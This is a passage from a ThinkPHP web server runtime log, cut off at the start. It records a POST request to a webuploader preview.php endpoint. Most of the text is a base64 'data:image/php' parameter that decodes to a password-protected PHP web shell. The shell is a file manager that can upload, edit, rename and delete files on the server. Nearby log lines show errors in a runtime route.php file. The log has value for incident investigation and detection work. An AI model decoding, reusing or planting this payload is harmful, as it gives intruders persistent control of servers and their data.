F9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'webuploader' => '0.1.5', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:05:45+08:00 ] 119.42.146.234 POST 59.110.137.245/admin/include//webuploader/0.1.5/server/preview.php [运行时间:0.002777s] [吞吐率:360.09req/s] [内存消耗:196.82kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'admin', 2 => 'include', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9